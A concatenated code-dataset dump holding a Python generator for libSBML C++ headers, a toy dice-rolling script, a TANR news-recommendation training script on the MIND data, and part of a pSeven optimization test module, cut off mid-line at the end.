{1}.\\n'.format(element, attType))\n output.write(' */\\n')\n output.write(' virtual {0}'.format(attTypeCode))\n output.write(' get{0}() const;\\n\\n\\n'.format(capAttName))\n \ndef writeIsSetFunction(attrib, output, element):\n att = generalFunctions.parseAttribute(attrib)\n attName = att[0]\n capAttName = att[1]\n attType = att[2]\n attTypeCode = att[3]\n num = att[4]\n if attrib['type'] == 'lo_element' or attrib['type'] == 'inline_lo_element':\n return\n elif attrib['type'] == 'element':\n output.write(' /**\\n')\n output.write(' * Predicate returning @c true or @c false depending on ')\n output.write('whether this\\n * {0}\\'s \\\"{1}\\\" '.format(element, attName))\n output.write('element has been set.\\n *\\n')\n output.write(' * @return @c true if this {0}\\'s \\\"{1}\\\"'.format(element, attName))\n output.write(' element has been set,\\n')\n output.write(' * otherwise @c false is returned.\\n')\n output.write(' */\\n')\n output.write(' virtual bool isSet{0}() const;\\n\\n\\n'.format(capAttName))\n else:\n output.write(' /**\\n')\n output.write(' * Predicate returning @c true or @c false depending on ')\n output.write('whether this\\n * {0}\\'s \\\"{1}\\\" '.format(element, attName))\n output.write('attribute has been set.\\n *\\n')\n output.write(' * @return @c true if this {0}\\'s \\\"{1}\\\"'.format(element, attName))\n output.write(' attribute has been set,\\n')\n output.write(' * otherwise @c false is returned.\\n')\n output.write(' */\\n')\n output.write(' virtual bool isSet{0}() const;\\n\\n\\n'.format(capAttName))\n \ndef writeSetFunction(attrib, output, element):\n att = generalFunctions.parseAttribute(attrib)\n attName = att[0]\n capAttName = att[1]\n attType = att[2]\n if attType == 'string':\n attTypeCode = 'const std::string&' \n else:\n attTypeCode = att[3]\n num = att[4]\n if attrib['type'] == 'lo_element' or attrib['type'] == 'inline_lo_element':\n return\n elif attrib['type'] == 'array':\n output.write(' /**\\n')\n output.write(' * Sets the \\\"{0}\\\"'.format(attName))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @param inArray; {1} array to be set (it will be copied).\\n'.format(attName, attTypeCode))\n output.write(' * @param arrayLength; the length of the array.\\n')\n output.write(' *\\n')\n output.write(' * @return integer value indicating success/failure of the\\n')\n output.write(' * function. @if clike The value is drawn from the\\n')\n output.write(' * enumeration #OperationReturnValues_t. @endif The possible values\\n')\n output.write(' * returned by this function are:\\n')\n output.write(' * @li LIBSBML_OPERATION_SUCCESS\\n')\n output.write(' * @li LIBSBML_INVALID_ATTRIBUTE_VALUE\\n')\n output.write(' */\\n')\n output.write(' virtual int set{0}('.format(capAttName))\n output.write('{0} inArray, int arrayLength);\\n\\n\\n'.format(attTypeCode))\n elif attrib['type'] == 'element':\n output.write(' /**\\n')\n output.write(' * Sets the \\\"{0}\\\"'.format(attName))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @param {0}; {1} to be set.\\n'.format(strFunctions.cleanStr(attName), attTypeCode))\n output.write(' *\\n')\n output.write(' * @return integer value indicating success/failure of the\\n')\n output.write(' * function. @if clike The value is drawn from the\\n')\n output.write(' * enumeration #OperationReturnValues_t. @endif The possible values\\n')\n output.write(' * returned by this function are:\\n')\n output.write(' * @li LIBSBML_OPERATION_SUCCESS\\n')\n output.write(' * @li LIBSBML_INVALID_ATTRIBUTE_VALUE\\n')\n output.write(' */\\n')\n output.write(' virtual int set{0}('.format(capAttName))\n output.write('{0} {1});\\n\\n\\n'.format(attTypeCode, strFunctions.cleanStr(attName)))\n else:\n output.write(' /**\\n')\n output.write(' * Sets the value of the \\\"{0}\\\"'.format(attName))\n output.write(' attribute of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @param {0}; {1} value of the \"{2}\" attribute to be set\\n'.format(strFunctions.cleanStr(attName), attTypeCode, attName))\n output.write(' *\\n')\n output.write(' * @return integer value indicating success/failure of the\\n')\n output.write(' * function. @if clike The value is drawn from the\\n')\n output.write(' * enumeration #OperationReturnValues_t. @endif The possible values\\n')\n output.write(' * returned by this function are:\\n')\n output.write(' * @li LIBSBML_OPERATION_SUCCESS\\n')\n output.write(' * @li LIBSBML_INVALID_ATTRIBUTE_VALUE\\n')\n output.write(' */\\n')\n output.write(' virtual int set{0}('.format(capAttName))\n output.write('{0} {1});\\n\\n\\n'.format(attTypeCode, strFunctions.cleanStr(attName)))\n\n if attrib['type'] == 'enum':\n output.write(' /**\\n')\n output.write(' * Sets the value of the \\\"{0}\\\"'.format(strFunctions.cleanStr(attName)))\n output.write(' attribute of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @param {0}; string value of the \"{1}\" attribute to be set\\n'.format(strFunctions.cleanStr(attName), attName))\n output.write(' *\\n')\n output.write(' * @return integer value indicating success/failure of the\\n')\n output.write(' * function. @if clike The value is drawn from the\\n')\n output.write(' * enumeration #OperationReturnValues_t. @endif The possible values\\n')\n output.write(' * returned by this function are:\\n')\n output.write(' * @li LIBSBML_OPERATION_SUCCESS\\n')\n output.write(' * @li LIBSBML_INVALID_ATTRIBUTE_VALUE\\n')\n output.write(' */\\n')\n output.write(' virtual int set{0}('.format(capAttName))\n output.write('const std::string& {0});\\n\\n\\n'.format(strFunctions.cleanStr(attName)))\n\n \n \ndef writeUnsetFunction(attrib, output, element):\n attName = attrib['name']\n capAttName = strFunctions.cap(attName)\n if attrib['type'] == 'lo_element' or attrib['type'] == 'inline_lo_element':\n return\n elif attrib['type'] == 'element':\n output.write(' /**\\n')\n output.write(' * Unsets the \\\"{0}\\\"'.format(attName))\n output.write(' element of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @return integer value indicating success/failure of the\\n')\n output.write(' * function. @if clike The value is drawn from the\\n')\n output.write(' * enumeration #OperationReturnValues_t. @endif The possible values\\n')\n output.write(' * returned by this function are:\\n')\n output.write(' * @li LIBSBML_OPERATION_SUCCESS\\n')\n output.write(' * @li LIBSBML_OPERATION_FAILED\\n')\n output.write(' */\\n')\n output.write(' virtual int unset{0}();\\n\\n\\n'.format(capAttName))\n else:\n output.write(' /**\\n')\n output.write(' * Unsets the value of the \\\"{0}\\\"'.format(attName))\n output.write(' attribute of this {0}.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @return integer value indicating success/failure of the\\n')\n output.write(' * function. @if clike The value is drawn from the\\n')\n output.write(' * enumeration #OperationReturnValues_t. @endif The possible values\\n')\n output.write(' * returned by this function are:\\n')\n output.write(' * @li LIBSBML_OPERATION_SUCCESS\\n')\n output.write(' * @li LIBSBML_OPERATION_FAILED\\n')\n output.write(' */\\n')\n output.write(' virtual int unset{0}();\\n\\n\\n'.format(capAttName))\n \n \n \ndef writeAttributeFunctions(attrs, output, element, elementDict):\n for i in range(0, len(attrs)):\n writeGetFunction(attrs[i], output, element)\n for i in range(0, len(attrs)):\n writeIsSetFunction(attrs[i], output, element)\n for i in range(0, len(attrs)):\n writeSetFunction(attrs[i], output, element)\n for i in range(0, len(attrs)):\n writeUnsetFunction(attrs[i], output, element)\n for i in range(0, len(attrs)):\n if attrs[i]['type'] == 'lo_element' or attrs[i]['type'] == 'inline_lo_element':\n writeListOfSubFunctions(attrs[i], output, element, elementDict)\n if elementDict.has_key('abstract'): \n if elementDict['abstract']:\n concretes = generalFunctions.getConcretes(elementDict['root'], elementDict['concrete'])\n for i in range(0, len(concretes)):\n concrete = concretes[i]\n # write \n output.write(' /**\\n')\n output.write(' * Returns @c true, if this abstract \\\"{0}\\\"'.format(element))\n output.write(' is of type {0}.\\n'.format(concrete['element']))\n output.write(' *\\n')\n output.write(' * @return @c true, if this abstract \\\"{0}\\\"'.format(element))\n output.write(' is of type {0}.\\n'.format(concrete['element']))\n output.write(' *\\n')\n output.write(' */\\n')\n output.write(' virtual bool is{0}() const;\\n\\n\\n'.format(concrete['element']))\n\ndef writeListOfSubFunctions(attrib, output, element, elementDict):\n lotype = generalFunctions.getListOfClassName(attrib,strFunctions.cap(attrib['element']))\n loname = generalFunctions.writeListOf(strFunctions.cap(attrib['name']))\n output.write(' /**\\n')\n output.write(' * Returns the \\\"{0}\\\"'.format(lotype))\n output.write(' in this {0} object.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @return the \\\"{0}\\\"'.format(lotype))\n output.write(' attribute of this {0}.\\n'.format(element))\n output.write(' */\\n')\n output.write(' const {0}*'.format(lotype))\n output.write(' get{0}() const;\\n\\n\\n'.format(loname))\n output.write(' /**\\n')\n output.write(' * Returns the \\\"{0}\\\"'.format(lotype))\n output.write(' in this {0} object.\\n'.format(element))\n output.write(' *\\n')\n output.write(' * @return the \\\"{0}\\\"'.format(lotype))\n output.write(' attribute of this {0}.\\n'.format(element))\n output.write(' */\\n')\n output.write(' {0}*'.format(lotype))\n output.write(' get{0}();\\n\\n\\n'.format(loname))\n writeListOfHeader.writeGetFunctions(output, strFunctions.cap(attrib['name']), attrib['element'], True, element, attrib)\n output.write(' /**\\n')\n output.write(' * Adds a copy the given \\\"{0}\\\" to this {1}.\\n'.format(attrib['element'], element))\n output.write(' *\\n')\n output.write(' * @param {0}; the {1} object to add\\n'.format(strFunctions.objAbbrev(attrib['element']), attrib['element']))\n output.write(' *\\n')\n output.write(' * @return integer value indicating success/failure of the\\n')\n output.write(' * function. @if clike The value is drawn from the\\n')\n output.write(' * enumeration #OperationReturnValues_t. @endif The possible values\\n')\n output.write(' * returned by this function are:\\n')\n output.write(' * @li LIBSBML_OPERATION_SUCCESS\\n')\n output.write(' * @li LIBSBML_INVALID_ATTRIBUTE_VALUE\\n')\n output.write(' */\\n')\n output.write(' int add{0}(const {1}* {2});\\n\\n\\n'.format(strFunctions.cap(attrib['name']), attrib['element'], strFunctions.objAbbrev(attrib['element'])))\n output.write(' /**\\n')\n output.write(' * Get the number of {0} objects in this {1}.\\n'.format(attrib['element'], element))\n output.write(' *\\n')\n output.write(' * @return the number of {0} objects in this {1}\\n'.format(attrib['element'], element))\n output.write(' */\\n')\n output.write(' unsigned int getNum{0}() const;\\n\\n\\n'.format(strFunctions.capp(attrib['name'])))\n if attrib.has_key('abstract') == False or (attrib.has_key('abstract') and attrib['abstract'] == False):\n output.write(' /**\\n')\n output.write(' * Creates a new {0} object, adds it to this {1}s\\n'.format(attrib['element'], element))\n output.write(' * {0} and returns the {1} object created. \\n'.format(lotype, attrib['element']))\n output.write(' *\\n')\n output.write(' * @return a new {0} object instance\\n'.format(attrib['element']))\n output.write(' *\\n')\n output.write(' * @see add{0}(const {1}* {2})\\n'.format(strFunctions.cap(attrib['name']), attrib['element'], strFunctions.objAbbrev(attrib['element'])))\n output.write(' */\\n')\n output.write(' {0}* create{1}();\\n\\n\\n'.format(attrib['element'], strFunctions.cap(attrib['name'])))\n elif attrib.has_key('concrete'):\n for elem in generalFunctions.getConcretes(attrib['root'], attrib['concrete']):\n output.write(' /**\\n')\n output.write(' * Creates a new {0} object, adds it to this {1}s\\n'.format(elem['element'], element))\n output.write(' * {0} and returns the {1} object created. \\n'.format(lotype, elem['element']))\n output.write(' *\\n')\n output.write(' * @return a new {0} object instance\\n'.format(elem['element']))\n output.write(' *\\n')\n output.write(' * @see add{0}(const {0}* {1})\\n'.format(attrib['element'], strFunctions.objAbbrev(attrib['element'])))\n output.write(' */\\n')\n output.write(' {0}* create{1}();\\n\\n\\n'.format(elem['element'], strFunctions.cap(elem['name'])))\n writeListOfHeader.writeRemoveFunctions(output, strFunctions.cap(attrib['name']), attrib['element'], True, element,attrib)\n \n#write class\ndef writeClass(attributes, header, nameOfElement, nameOfPackage, hasChildren, hasMath, isListOf, elementDict):\n header.write('class LIBSBML_EXTERN {0} :'.format(nameOfElement))\n baseClass = 'SBase'\n childrenOverwrite = elementDict.has_key('childrenOverwriteElementName') and elementDict['childrenOverwriteElementName']\n if elementDict.has_key('baseClass') and elementDict['baseClass'] != None:\n baseClass = elementDict['baseClass']\n header.write(' public {0}\\n{1}\\n\\n'.format(baseClass, '{'))\n writeAttributes(attributes, header)\n if childrenOverwrite:\n header.write(' std::string mElementName;\\n\\n')\n header.write('public:\\n\\n')\n writeConstructors(nameOfElement, nameOfPackage, header)\n writeAttributeFunctions(attributes, header, nameOfElement, elementDict)\n if hasMath == True or generalFunctions.hasSIdRef(attributes) == True:\n generalFunctions.writeRenameSIdHeader(header)\n\n if hasChildren == True:\n generalFunctions.writeGetAllElements(header) \n generalFunctions.writeCommonHeaders(header, nameOfElement, attributes, False, hasChildren, hasMath)\n generalFunctions.writeInternalHeaders(header, isListOf, hasChildren)\n\n if generalFunctions.hasArray(elementDict):\n header.write(' virtual void write(XMLOutputStream& stream) const;\\n\\n\\n')\n if childrenOverwrite:\n header.write(' virtual void setElementName(const std::string& name);\\n\\n\\n')\n\n header.write('protected:\\n\\n')\n generalFunctions.writeProtectedHeaders(header, attributes, hasChildren, hasMath, baseClass, elementDict)\n if generalFunctions.hasArray(elementDict):\n header.write(' virtual void setElementText(const std::string &text);\\n\\n\\n')\n\n if elementDict.has_key('addDecls'):\n header.write(open(elementDict['addDecls'], 'r').read())\n\n header.write('\\n};\\n\\n')\n \n# write the include files\ndef writeIncludes(fileOut, element, pkg, attribs, elementDict):\n baseClass = 'SBase'\n if elementDict.has_key('baseClass') and elementDict['baseClass'] != None:\n baseClass = elementDict['baseClass']\n fileOut.write('\\n\\n');\n fileOut.write('#ifndef {0}_H__\\n'.format(element))\n fileOut.write('#define {0}_H__\\n'.format(element))\n fileOut.write('\\n\\n');\n fileOut.write('#include \\n')\n fileOut.write('#include \\n')\n fileOut.write('#include \\n'.format(pkg.lower()))\n fileOut.write('\\n\\n');\n fileOut.write('#ifdef __cplusplus\\n')\n fileOut.write('\\n\\n');\n fileOut.write('#include \\n')\n fileOut.write('\\n\\n');\n fileOut.write('#include \\n')\n fileOut.write('#include \\n')\n fileOut.write('#include \\n'.format(pkg.lower(), pkg))\n if baseClass != 'SBase':\n fileOut.write('#include \\n'.format(pkg.lower(), baseClass))\n fileOut.write('\\n')\n\n for i in range (0, len(attribs)):\n current = attribs[i]\n if (current['type'] == 'element' or current['type'] == 'lo_element' or current['type'] == 'inline_lo_element') and current['name'] != 'math':\n if current['type'] != 'element':\n fileOut.write('#include \\n'.format(pkg.lower(), strFunctions.cap(attribs[i]['element'])))\n else: \n fileOut.write('#include \\n'.format(pkg.lower(), strFunctions.cap(attribs[i]['element'])))\n fileOut.write('\\nLIBSBML_CPP_NAMESPACE_BEGIN\\n\\n')\n\n if elementDict.has_key('concrete'):\n for elem in generalFunctions.getConcretes(elementDict['root'], elementDict['concrete']):\n fileOut.write('class {0};\\n'.format(elem['element']))\n fileOut.write('\\n')\n\n fileOut.write('\\n\\n');\n \ndef writeCPPEnd(fileOut):\n fileOut.write('\\n\\nLIBSBML_CPP_NAMESPACE_END\\n\\n')\n fileOut.write('#endif /* __cplusplus */\\n\\n')\n \ndef writeCStart(fileOut):\n fileOut.write('#ifndef SWIG\\n\\n')\n fileOut.write('LIBSBML_CPP_NAMESPACE_BEGIN\\nBEGIN_C_DECLS\\n\\n')\n \n\ndef writeCEnd(fileOut, element):\n fileOut.write('\\n\\nEND_C_DECLS\\n')\n fileOut.write('LIBSBML_CPP_NAMESPACE_END\\n\\n')\n fileOut.write('#endif /* !SWIG */\\n\\n')\n fileOut.write('#endif /* {0}_H__ */\\n\\n'.format(element))\n \n \n \n \n# write the header file \ndef createHeader(element):\n nameOfElement = element['name']\n nameOfPackage = element['package']\n sbmltypecode = element['typecode']\n isListOf = element['hasListOf']\n attributes = element['attribs']\n hasChildren = element['hasChildren']\n hasMath = element['hasMath']\n headerName = nameOfElement + '.h'\n header = open(headerName, 'w')\n fileHeaders.addFilename(header, headerName, nameOfElement)\n fileHeaders.addLicence(header)\n writeIncludes(header, nameOfElement, nameOfPackage, attributes, element)\n writeClass(attributes, header, nameOfElement, nameOfPackage, hasChildren, hasMath, False, element)\n if isListOf == True:\n writeListOfHeader.createHeader(element, header)\n writeCPPEnd(header)\n writeCStart(header)\n writeCHeader.createHeader(element, header)\n writeCEnd(header, nameOfElement)\n\n#if len(sys.argv) != 2:\n# print 'Usage: writeHeader.py element'\n#else:\n# element = createNewElementDictObj.createFBCObj()\n# createHeader(element)\n \n\n ","sub_path":"writeHeader.py","file_name":"writeHeader.py","file_ext":"py","file_size_in_byte":26892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"447259261","text":"import random as r\n\nwhile True:\n number_of_dice = int(input('How many dice(s) do you want?'))\n if number_of_dice <= 0:\n print('the number has to be within 1 to 10!!!')\n break\n else:\n num = 0\n output = \"\"\n while num < number_of_dice:\n dice = r.randint(1, 6)\n # print(dice)\n output = output + str(dice) + ' ' \n num = num + 1\n print(output)\n","sub_path":"Games-that-I-Made/Dice Games/The Dice Game!!!.py","file_name":"The Dice Game!!!.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"15700225","text":"import numpy as np\nfrom preprocess import preprocess_user_data, preprocess_test_user_data\nfrom model import TANR, Classifier\nfrom config import Config\nimport json\nimport os\nimport torch\nfrom torch.utils.data import Dataset, DataLoader, TensorDataset\nfrom dataset import MyDataset, NewsDataset, UserDataset, TestDataset, NewsCategoryDataset\nimport torch.nn.functional as F\n\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nprint(device)\n\n\ndef mrr_score(y_true, y_score):\n order = np.argsort(y_score)[::-1]\n y_true = np.take(y_true, order)\n rr_score = y_true / (np.arange(len(y_true)) + 1)\n return np.sum(rr_score) / np.sum(y_true)\n\n\ndef dcg_score(y_true, y_score, k=10):\n order = np.argsort(y_score)[::-1]\n y_true = np.take(y_true, order[:k])\n gains = 2 ** y_true - 1\n discounts = np.log2(np.arange(len(y_true)) + 2)\n return np.sum(gains / discounts)\n\n\ndef ndcg_score(y_true, y_score, k=10):\n best = dcg_score(y_true, y_true, k)\n actual = dcg_score(y_true, y_score, k)\n return actual / best\n\n\ndef evaluate(impression_index, all_label_test, pred_label):\n from sklearn.metrics import roc_auc_score\n all_auc = []\n all_mrr = []\n all_ndcg5 = []\n all_ndcg10 = []\n for i in impression_index:\n begin = int(i[0])\n end = int(i[1])\n auc = roc_auc_score(all_label_test[begin:end], pred_label[begin:end])\n all_auc.append(auc)\n mrr = mrr_score(all_label_test[begin:end], pred_label[begin:end])\n all_mrr.append(mrr)\n if end - begin > 4:\n ndcg5 = ndcg_score(all_label_test[begin:end], pred_label[begin:end], 5)\n all_ndcg5.append(ndcg5)\n if end - begin > 9:\n ndcg10 = ndcg_score(all_label_test[begin:end], pred_label[begin:end], 10)\n all_ndcg10.append(ndcg10)\n return np.mean(all_auc), np.mean(all_mrr), np.mean(all_ndcg5), np.mean(all_ndcg10)\n\n\ndef get_train_input(news_index, news_title, news_category):\n all_browsed_news, all_click, all_unclick, all_candidate, all_label = preprocess_user_data('../../data/MINDsmall_train/behaviors.tsv')\n print('preprocessing trainning input...')\n all_browsed_title = np.zeros((len(all_browsed_news), Config.max_browsed, Config.max_title_len), dtype='int32')\n for i, user_browsed in enumerate(all_browsed_news):\n j = 0\n for news in user_browsed:\n if j < Config.max_browsed:\n all_browsed_title[i][j] = news_title[news_index[news]]\n j += 1\n\n all_candidate_title = np.array([[ news_title[news_index[j]] for j in i] for i in all_candidate])\n all_label = np.array(all_label)\n\n all_topic_label = np.zeros((len(all_browsed_news), Config.max_browsed + 1 + Config.neg_sample, 1), dtype='int32')\n for i, user_browsed in enumerate(all_browsed_news):\n j = 0\n for news in user_browsed:\n if j < Config.max_browsed:\n all_topic_label[i][j] = news_category[news_index[news]]\n return all_browsed_title, all_candidate_title, all_label, all_topic_label\n\n\ndef get_test_input(news_index_test, news_r_test):\n impression_index, user_index, user_browsed_test, all_user_test, all_candidate_test, all_label_test = preprocess_test_user_data('../../data/MINDsmall_dev/behaviors.tsv')\n print('preprocessing testing input...')\n user_browsed_title_test = np.zeros((len(user_browsed_test), Config.max_browsed, Config.num_filters), dtype='float32')\n for i, user_browsed in enumerate(user_browsed_test):\n j = 0\n for news in user_browsed:\n if j < Config.max_browsed:\n user_browsed_title_test[i][j] = news_r_test[news_index_test[news]]\n j += 1\n all_candidate_title_test = np.array([news_r_test[news_index_test[i[0]]] for i in all_candidate_test])\n all_label_test = np.array(all_label_test)\n return impression_index, user_index, user_browsed_title_test, all_user_test, all_candidate_title_test, all_label_test\n\n\ndef read_json(file='embedding_matrix.json'):\n with open(file, 'r') as f:\n embedding_matrix = json.load(f)\n return embedding_matrix\n\n\ndef get_embedding_matrix(word_index):\n if os.path.exists('embedding_matrix.json'):\n print('Load embedding matrix...')\n embedding_matrix = np.array(read_json())\n return embedding_matrix\n\n\ndef train(model, train_iter):\n model.train()\n optimizer = torch.optim.Adam(model.parameters(), lr=Config.learning_rate)\n for epoch in range(Config.epochs):\n print('Epoch [{}/{}]'.format(epoch + 1, Config.epochs))\n loss_epoch = []\n model.train()\n for i, data in enumerate(train_iter):\n browsed, candidate, labels, category = data\n optimizer.zero_grad()\n output = model(browsed, candidate)\n loss = torch.stack([x[0] for x in - F.log_softmax(output, dim=1)]).mean()\n loss_epoch.append(loss.item())\n loss.backward()\n optimizer.step()\n if i % 1000 == 0:\n msg = 'Iter: {0:>6}, Train Loss: {1:>5.2}, Average Loss: {2:>5.2}'\n print(msg.format(i+1, loss.item(), np.mean(loss_epoch)))\n print('saving model to model2_%s.pkl...' % format(epoch))\n torch.save(model.state_dict(), 'model2_%s.pkl' % format(epoch))\n test(model, news_title_test, news_index_test)\n\n\ndef test(model, news_title_test, news_index_test):\n model.eval()\n news_dataset = NewsDataset(news_title_test)\n news_dataloader = DataLoader(news_dataset, batch_size=Config.batch_size, shuffle=False, num_workers=Config.num_workers)\n print('get news representations...')\n news_r_test = []\n with torch.no_grad():\n for i, news_data in enumerate(news_dataloader):\n news_r = model.get_news_r(news_data)\n news_r = news_r.cpu().numpy()\n if i == 0:\n news_r_test = news_r\n else:\n news_r_test = np.concatenate((news_r_test, news_r), axis=0)\n\n impression_index, user_index, user_browsed_title_test, all_user_test, all_candidate_title_test, \\\n all_label_test = get_test_input(news_index_test, news_r_test)\n user_dataset = UserDataset(user_browsed_title_test)\n user_dataloader = DataLoader(user_dataset, batch_size=Config.batch_size, shuffle=False, num_workers=Config.num_workers)\n print('get user representations...')\n user_r_test = []\n with torch.no_grad():\n for i, user_data in enumerate(user_dataloader):\n user_r = model.get_user_r(user_data)\n user_r = user_r.cpu().numpy()\n if i == 0:\n user_r_test = user_r\n else:\n user_r_test = np.concatenate((user_r_test, user_r), axis=0)\n all_user_r_test = np.zeros((len(all_user_test), Config.num_filters), dtype='float32')\n for i, user in enumerate(all_user_test):\n all_user_r_test[i] = user_r_test[user_index[user]]\n test_dataset = TestDataset(all_user_r_test, all_candidate_title_test)\n test_dataloader = DataLoader(test_dataset, batch_size=Config.batch_size, shuffle=False, num_workers=Config.num_workers)\n print('test...')\n pred_label = []\n with torch.no_grad():\n for i, test_data in enumerate(test_dataloader):\n user, candidate = test_data\n pred = model.test(user, candidate)\n pred = pred.cpu().numpy()\n if i == 0:\n pred_label = pred\n else:\n pred_label = np.concatenate((pred_label, pred), axis=0)\n pred_label = np.array(pred_label).reshape(-1)\n print(pred_label.shape)\n all_label_test = np.array(all_label_test).reshape(-1)\n auc, mrr, ndcg5, ndcg10 = evaluate(impression_index, all_label_test, pred_label)\n print('auc: ', auc)\n print('mrr: ', mrr)\n print('ndcg5: ', ndcg5)\n print('ndcg10: ', ndcg10)\n\n\ndef pretrain(model, train_iter):\n model.train()\n optimizer = torch.optim.Adam(model.parameters(), lr=Config.learning_rate)\n for epoch in range(Config.epochs):\n print('Epoch [{}/{}]'.format(epoch + 1, Config.epochs))\n loss_epoch = []\n model.train()\n for i, data in enumerate(train_iter):\n title, category = data\n optimizer.zero_grad()\n output = model(title)\n category = category.to(device).flatten()\n criteria = torch.nn.CrossEntropyLoss()\n loss = criteria(output, category)\n loss_epoch.append(loss.item())\n loss.backward()\n optimizer.step()\n if i % 500 == 0:\n msg = 'Iter: {0:>6}, Train Loss: {1:>5.2}, Average Loss: {2:>5.2}'\n print(msg.format(i+1, loss.item(), np.mean(loss_epoch)))\n return model.state_dict()\n\n\nif __name__ == \"__main__\":\n news_index = np.load('news/news_index.npy', allow_pickle=True).item()\n news_index_test = np.load('news/news_index_test.npy', allow_pickle=True).item()\n word_index = np.load('news/word_index.npy', allow_pickle=True).item()\n news_title = np.load('news/news_title.npy', allow_pickle=True)\n news_title_test = np.load('news/news_title_test.npy', allow_pickle=True)\n news_category = np.load('news/news_category.npy', allow_pickle=True)\n\n pretrained_embedding = torch.from_numpy(get_embedding_matrix(word_index)).float()\n pre_dataset = NewsCategoryDataset(news_title, news_category)\n pretrain_data = DataLoader(dataset=pre_dataset, batch_size=Config.batch_size, shuffle=True, num_workers=Config.num_workers)\n classifier_model = Classifier(Config, pretrained_embedding).to(device)\n pretrain_state = pretrain(classifier_model, pretrain_data)\n\n all_browsed_title, all_candidate_title, all_label, all_topic_label = get_train_input(news_index, news_title, news_category)\n\n dataset = MyDataset(all_browsed_title, all_candidate_title, all_label, all_topic_label)\n train_data = DataLoader(dataset=dataset, batch_size=Config.batch_size, shuffle=True, num_workers=Config.num_workers)\n model = TANR(Config, pretrained_embedding).to(device)\n model_state = model.state_dict()\n for i in model_state:\n if i in pretrain_state:\n model_state[i] = pretrain_state[i]\n model.load_state_dict(model_state)\n\n train(model, train_data)","sub_path":"models/TANR/TANR.py","file_name":"TANR.py","file_ext":"py","file_size_in_byte":10243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"476219841","text":"# Copyright (C) DATADVANCE, 2010-2020\n\n\"\"\"pSeven typesystem usecases.\"\"\"\n\nimport os\nimport shutil\nimport tempfile\nimport uuid\n\nimport numpy\n\nfrom .. import convert, file\nfrom .base_testcase import BaseTestCase\n\n\nclass Problem:\n \"\"\"Optimization problem definition.\"\"\"\n\n def __init__(\n self,\n variables,\n objectives,\n constraints,\n evaluate_objectives,\n evaluate_constraints,\n ):\n self.variables = variables\n self.objectives = objectives\n self.constraints = constraints\n self.evaluate_objectives = evaluate_objectives\n self.evaluate_constraints = evaluate_constraints\n\n @property\n def names(self):\n \"\"\"Variables, objectives and constraints.\"\"\"\n return self.variables_names + self.objectives_names + self.constraints_names\n\n @property\n def variables_names(self):\n \"\"\"Problem variables.\"\"\"\n return [x[\"name\"] for x in self.variables]\n\n @property\n def objectives_names(self):\n \"\"\"Problem objectives.\"\"\"\n return [f[\"name\"] for f in self.objectives]\n\n @property\n def objectives_slice(self):\n \"\"\"Problem objectives slice.\"\"\"\n return slice(len(self.variables), len(self.variables) + len(self.objectives))\n\n @property\n def constraints_names(self):\n \"\"\"Problem constraints.\"\"\"\n return [c[\"name\"] for c in self.constraints]\n\n @property\n def constraints_slice(self):\n \"\"\"Problem constraints slice.\"\"\"\n return slice(\n len(self.variables) + len(self.objectives),\n len(self.variables) + len(self.objectives) + len(self.constraints),\n )\n\n @property\n def constraints_ub(self):\n \"\"\"Constraints upper bounds.\"\"\"\n return numpy.array([c[\"ub\"] for c in self.constraints])\n\n @property\n def constraints_lb(self):\n \"\"\"Constraints lower bounds.\"\"\"\n return numpy.array([c[\"lb\"] for c in self.constraints])\n\n\nclass DSX:\n \"\"\"Design space exploration block.\"\"\"\n\n def __init__(self, options):\n self._options = options\n\n def _before_solution(self, problem):\n raise NotImplementedError\n\n def _after_iteration(self, problem, x, f, c):\n raise NotImplementedError\n\n def _after_solution(self, problem):\n raise NotImplementedError\n\n def solve(self, problem):\n \"\"\"Find problem solution.\"\"\"\n self._before_solution(problem)\n # pylint: disable=no-member\n if self._options[\"Deterministic\"]:\n prng = numpy.random.RandomState(self._options[\"Seed\"])\n else:\n prng = numpy.random.RandomState()\n technique = self._options[\"Technique\"]\n if technique == \"Random search\":\n self.__random_search(problem, prng)\n elif technique == \"Genetic\":\n self.__genetic(problem)\n return self._after_solution(problem)\n\n def __random_search(self, problem, prng):\n # random generation\n for _ in range(self._options[\"Budget\"]):\n x = numpy.array(\n [prng.uniform(var[\"lb\"], var[\"ub\"]) for var in problem.variables]\n )\n f = problem.evaluate_objectives(x)\n if len(f) != len(problem.objectives):\n raise RuntimeError(\"Wrong number of objectives evaluated.\")\n c = problem.evaluate_constraints(x)\n if len(c) != len(problem.constraints):\n raise RuntimeError(\"Wrong number of constraints evaluated.\")\n self._after_iteration(problem, x, f, c)\n\n @staticmethod\n def __genetic(problem):\n del problem\n raise RuntimeError(\"Genetic algorithm is not implemented yet.\")\n\n\nclass DSXTestWrite(DSX):\n \"\"\"DSX with history write.\"\"\"\n\n def __init__(self, options, path):\n super(DSXTestWrite, self).__init__(options)\n self.__history = []\n self.__history_path = os.path.join(path, \"history.p7data\")\n\n def _before_solution(self, problem):\n pass\n\n def _after_iteration(self, problem, x, f, c):\n self.__history.append(x.tolist() + f.tolist() + c.tolist() + [True, True])\n\n def __fill_feasible(self, problem):\n tolerance = self._options[\"Constraints tolerance\"]\n feasible_column = -2\n\n def feasible(j, con):\n return (\n problem.constraints[j][\"lb\"] * (1 - tolerance)\n <= con\n <= problem.constraints[j][\"ub\"] * (1 + tolerance)\n )\n\n for i, iteration in enumerate(self.__history):\n self.__history[i][feasible_column] = all(\n [\n feasible(j, con)\n for j, con in enumerate(iteration[problem.constraints_slice])\n ]\n )\n\n def __fill_optimal(self, problem):\n feasible_column = -2\n optimal_column = -1\n\n def dominate(l1, l2):\n return all(val <= l2[j] for j, val in enumerate(l1)) and any(\n val < l2[j] for j, val in enumerate(l1)\n )\n\n for i, iteration in enumerate(self.__history):\n if iteration[feasible_column]:\n for compare_with in self.__history:\n if (\n compare_with[feasible_column]\n and 